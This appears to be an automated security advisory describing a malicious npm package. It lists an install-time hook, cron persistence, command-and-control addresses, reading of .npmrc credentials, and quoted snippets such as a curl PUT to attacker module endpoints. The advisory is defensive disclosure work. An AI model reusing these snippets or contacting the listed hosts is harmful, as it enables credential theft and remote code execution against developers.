GCVE-110-OSM-2026-7073

Malicious package detected. Behaviors: data exfiltration, code execution, network activity, install-time execution. ENTRY install.js (install-hook: node install.js) - Install Hook Executes Local JS File in package.json - Postinstall Script in package.json PERSISTENCE - Cron Job Persistence in recon.js: "crontab -" DESTINATION - custom-c2: http://{target (primary, plaintext) in publish-and-arm.sh - custom-c2: http://154.57.164.76:30728 (plaintext) in recon.js - custom-c2: 154.57.164.76 (plaintext) in publish-and-arm.sh - ipv4: 154.57.164.70 (c2, plaintext) - urls: http://$T/api/modules/$CMD_MOD (c2, plaintext) - urls: http://$T/api/modules/$OUT_MOD (c2, plaintext) EXFIL - Sensitive File Access in recon.js: "'/home/user/project/.npmrc'" - System Information Exfiltration in index.js: "JSON.stringify({ manifest: 'ecto_module:\n name: "flag-captured"\n version: "1.0..." - System Information Exfiltration in install.js: "JSON.stringify({ manifest: 'ecto_module:\n name: "flag-captured"\n version: "1.0..." - Data Encoding for Exfiltration in publish-and-arm.sh: "json.dumps({"manifest": manifest}).encode" - Curl/Wget Pipe to Shell in rce.sh: "curl -s -X PUT "http://$T/api/modules/$CMD_MOD" \ -H 'Content-Type: application/..." - Network Request in index.js: "http.request(" - Network Request in install.js: "http.request(" - Network Request in publish-and-arm.sh: "Request( f"http:" (+3 more) ADDITIONAL FINDINGS - Shell Command Execution in index.js: "child_process').exec" - Platform Detection with Data Collection in recon.js: "JSON.stringify({ manifest: data }); const urlObj = new URL(url); const options =..." PAYLOAD FILES recon.js INDICATORS (IOCs) - domains: rce.sh - payloadFileHash: 5ba0821ccfeb4c40c15d18151bfa64508c8e3b71a1b2fbf3c7521131ab67b1c5